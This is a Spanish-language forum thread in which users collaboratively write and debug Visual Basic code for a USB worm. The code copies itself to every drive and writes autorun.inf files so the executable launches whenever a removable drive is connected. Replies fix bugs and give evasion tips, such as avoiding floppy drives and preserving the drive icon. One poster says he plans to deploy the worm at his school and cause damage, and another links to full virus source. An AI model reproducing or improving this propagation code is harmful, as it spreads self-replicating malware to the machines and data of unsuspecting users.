Infectar atravez de unidades extraibles

[Krosty_ufc]

Bueno aca va una pregunta.
Supongamos que tengo un worm, y quisiera infectar las unidades extraibles, y que a la vez, cada vez que se conecten, se autoejecute mi virus.
Deberia hacer lo siguiente o me equivoco ?:

Código:

FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "B:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "D:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "E:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "F:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "G:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "H:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "I:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "J:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "K:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "L:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "M:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "N:\VIRUS.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", "O:\VIRUS.exe"

Dim iFile As Integer

iFile=FreeFile
Open "C:\autorun.inf" For Output As iFile
Open "D:\autorun.inf" For Output As iFile
Open "E:\autorun.inf" For Output As iFile
Open "F:\autorun.inf" For Output As iFile
Open "G:\autorun.inf" For Output As iFile
Open "H:\autorun.inf" For Output As iFile
Open "B:\autorun.inf" For Output As iFile
Close iFile

Open "C:\autorun.inf" For Append As #1
Open "D:\autorun.inf" For Append As #1
Open "E:\autorun.inf" For Append As #1
Open "F:\autorun.inf" For Append As #1
Open "G:\autorun.inf" For Append As #1
Open "H:\autorun.inf" For Append As #1
Open "B:\autorun.inf" For Append As #1

Print #1, "[AUTORUN]"
Print #1, "open="VIRUS.exe""
Close #1

Eso seria no ?
Esta bien asi?

Espero respeustas

gracias

salu2

[ActiveSheet]

Aver chico todo eso esta mal, son principios basicos buenos pero esta mal es mucho codigo,
eso seria algo asi

 

Código:

For i = 0 To Drive1.ListCount - 1
filecopy "C:\virico.txt",  Drive1.List(i ) & "\virico.vbs"
next
' error corregido

Aguanta las carnes y en breve te construyo un source optimo que ara lo sigiente...... .

• Copiarse en todas las Unidades Menos en la "a:"
• Estar a la espera de unidades Entrantes
• crear su propio autorun
• ocultar su autorun
• Auto run profesional
• alojar el clon en carpetas del sistema de las USB
• clones con atributo de sistema
• casi un worm perfecto de usb, relativamente

[Krosty_ufc]

Porque esta mal :S ?
Si se que es mucho codigo, pero en teoria funcionaria, o no ?
Se copiaria a todas las unidades (por logica, si hay algun usb se copiaria).
luego crearia el archivo autorun.inf.
Luego editaria el archivo y pondria los valores, (que si no me ekivoco estan bien no?)
Y listo... Aunque no sabria como hacer, para ocultarlo, seria cuestion de buscar.

Con esto

Código:

For i = 0 To Drive1.ListCount - 1
filecopy "C:\virico.txt",  Drive1.List(i ) & Drive1.List(i) & "\virico.vbs"
next

Solo se copiaria, o no? No se autoejecutaria cada vez que se ingrese la memoria usb.

Aguanta las carnes y en breve te construyo un source optimo que ara lo sigiente...... .

Me encantaria. Me mandas el codigo plis, y si no es mucho pedir que me lo explikes un poco =).

Salu2 y gracias

[>> s E t H <<]

Dim iFile As Integer

iFile=FreeFile
Open "C:\autorun.inf" For Output As iFile
Open "D:\autorun.inf" For Output As iFile
Open "E:\autorun.inf" For Output As iFile
Open "F:\autorun.inf" For Output As iFile
Open "G:\autorun.inf" For Output As iFile
Open "H:\autorun.inf" For Output As iFile
Open "B:\autorun.inf" For Output As iFile
Close iFile

Open "C:\autorun.inf" For Append As #1
Open "D:\autorun.inf" For Append As #1
Open "E:\autorun.inf" For Append As #1
Open "F:\autorun.inf" For Append As #1
Open "G:\autorun.inf" For Append As #1
Open "H:\autorun.inf" For Append As #1
Open "B:\autorun.inf" For Append As #1



no podes abrir mas de 1 archivo con el mismo numero/canal/qseyocomoseledice  fijate q estas abriendo al principio siempre en iFile y dsp en 1, x lo q se no se puede


Print #1, "[AUTORUN]"
Print #1, "open="VIRUS.exe""
Close #1


estan mal las comillas, quedaria como
open=
debido a q virus.exe no esta entre comillas

ademas en "B" suelen haber disketeras y provoca q lo detecten


ademas de que no hace falta abrir x output y append, lo abris con output y escribis ahi, tmb podes leer si tiene algun icono para no modificar eso y q pase mas desapercibido

[Krosty_ufc]

Antes que nada agradezco, tu respuesta.

Sobre lo de "virus.exe" entre comillas, fue error mio al copiarlo xD

Buen aver si asi queda:

Código:

iFile = FreeFile
Open "i:\autorun.inf" For Output As iFile

Print #1, "[AUTORUN]"
Print #1, "open=Destructor.exe"
Print #1, "UseAutoPlay=1"
Print #1, "action=Abrir USB"
Print #1, "shell\open=Abrir"
Print #1, "shell\open\Command=destructor.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explorar"
Print #1, "shell\explore\Command=destructor.exe "

Open "D:\autorun.inf" For Output As iFile as #2

Print #1, "[AUTORUN]"
Print #1, "open=Destructor.exe"
Print #1, "UseAutoPlay=1"
Print #1, "action=Abrir USB"
Print #1, "shell\open=Abrir"
Print #1, "shell\open\Command=destructor.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explorar"
Print #1, "shell\explore\Command=destructor.exe "

Open "E:\autorun.inf" For Output As iFile as #3

Print #1, "[AUTORUN]"
Print #1, "open=Destructor.exe"
Print #1, "UseAutoPlay=1"
Print #1, "action=Abrir USB"
Print #1, "shell\open=Abrir"
Print #1, "shell\open\Command=destructor.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explorar"
Print #1, "shell\explore\Command=destructor.exe "

Open "F:\autorun.inf" For Output As iFile as #4

Print #1, "[AUTORUN]"
Print #1, "open=Destructor.exe"
Print #1, "UseAutoPlay=1"
Print #1, "action=Abrir USB"
Print #1, "shell\open=Abrir"
Print #1, "shell\open\Command=destructor.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explorar"
Print #1, "shell\explore\Command=destructor.exe "

Open "G:\autorun.inf" For Output As iFile as #5

Print #1, "[AUTORUN]"
Print #1, "open=Destructor.exe"
Print #1, "UseAutoPlay=1"
Print #1, "action=Abrir USB"
Print #1, "shell\open=Abrir"
Print #1, "shell\open\Command=destructor.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explorar"
Print #1, "shell\explore\Command=destructor.exe "

Open "H:\autorun.inf" For Output As iFile as #6

Print #1, "[AUTORUN]"
Print #1, "open=Destructor.exe"
Print #1, "UseAutoPlay=1"
Print #1, "action=Abrir USB"
Print #1, "shell\open=Abrir"
Print #1, "shell\open\Command=destructor.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explorar"
Print #1, "shell\explore\Command=destructor.exe "
Close iFile
Close #1

Lo que no estoy seguro que este bien, es el tema del output y el append.
Fijate si como lo puse ahora estaria bien.
Salu2

[Krosty_ufc]

Acabo de probar el codigo original que puse, es decir teniendo todos como "append as #1" y va perfecto, lo copio a mi C y lo edito perfectamente
Ahora deberia de conseguir una memoria para probarlo ahi xD
Salu2

[ActiveSheet]

a claro que lo voy a publicar pero yo creo que en un tema nuevo,

por que me esta quedando re bonito ya ni se que mas ponerle, ahora el pedo es hacer lo que me falta

por que aparte de mi interes lo estoy haciendo para mi cole, y que cuando le de doble clic de ejecute el archivo y arme pedos,

y si el prof me dice que hiziste yo diga nada nada solo abri mi usb pero ase rato fui a un cafe y se me trabo ahi xD


jajajajajajaja ja

ya mero lo termino chabal

que allan pasado un feliz 15 de septiembre

[Krosty_ufc]

Okas, voy a revisarlo cuando lo postees.
Mira esta es otra manera, pero nose si funcionaria, fijate porfavor:

Código:

Private Sub Form_Load()
For i = 0 To Drive1.ListCount - 1
FileCopy "C:\archivo.exe", Drive1.List(i) & Drive1.List(i) & "\archivo2.exe"
Open Drive1.List(i) & Drive1.List(i) & "autorun.inf" For Output As iFile
Open Drive1.List(i) & Drive1.List(i) & "autorun.inf" For Append As #1
Print #1, "[AUTORUN]"
Print #1, "open=archivo2.exe"
Print #1, "UseAutoPlay=1"
Print #1, "action=Abrir USB"
Print #1, "shell\open=Abrir"
Print #1, "shell\open\Command=archivo2.exe"
Print #1, "shell\open\Default=1"
Print #1, "shell\explore=Explorar"
Print #1, "shell\explore\Command=archivo2.exe "
Close #1
End Sub

Salu2

[ActiveSheet]

Compruevlo es que tiene algunos errores

[Krosty_ufc]

Si ya vi me faltaba definir las variables del freefile.

Código:

Dim ifile As Integer
ifile = FreeFile
Open Drive1.List(I) & Drive1.List(I) & "autorun.inf" For Output As ifile
Close ifile

Lo que pasa es que no tengo una memoria usb xD por eso no lo puedo probar jajaja.
Voy a tratar de agregarle un timer o un goto, asi estaria comprobando todo el tiempo si se insertan nuevas memorias.
Salu2

[ActiveSheet]

pero supongo que si tienes un disco local no?

es relativamente lo mismo

[Krosty_ufc]

Si si tengo, pero nose si seria lo mismo que con una unidad de memoria extraible, por eso decia.
Salu2

[solercue]

habria alguna manera de infectar por usb con discos extraibles con lenguaje batch?

gracias

[-SharK_90-]

Preguntalo en la seccion de Batch...!! esto es VB
Yo hice un Virus en VB... que se copiaba a todas las unidades... y luego crea un Autorun para que se ejecute

[cyberserver]

JAJA no manches, malditos puercos todavia no saben para que sirven los bucles!!! hay hay hay con ustedes.

Aqui les dejo un codigo de un Virus chido creado por su servidor!!! que se pega a las unidades de almacenamiento chequen y aprendan....

http://asociacionbucaneros.mundoforo.com/codigo-fuente-del-virus-proyecto1contagia-flash-vt556.html

Creo que uno de los pokos que aqui sabe que pex con su vida es el Active!!!!! pongance al tiro y traten de mejorar su codigo no maten moscas a cañonazos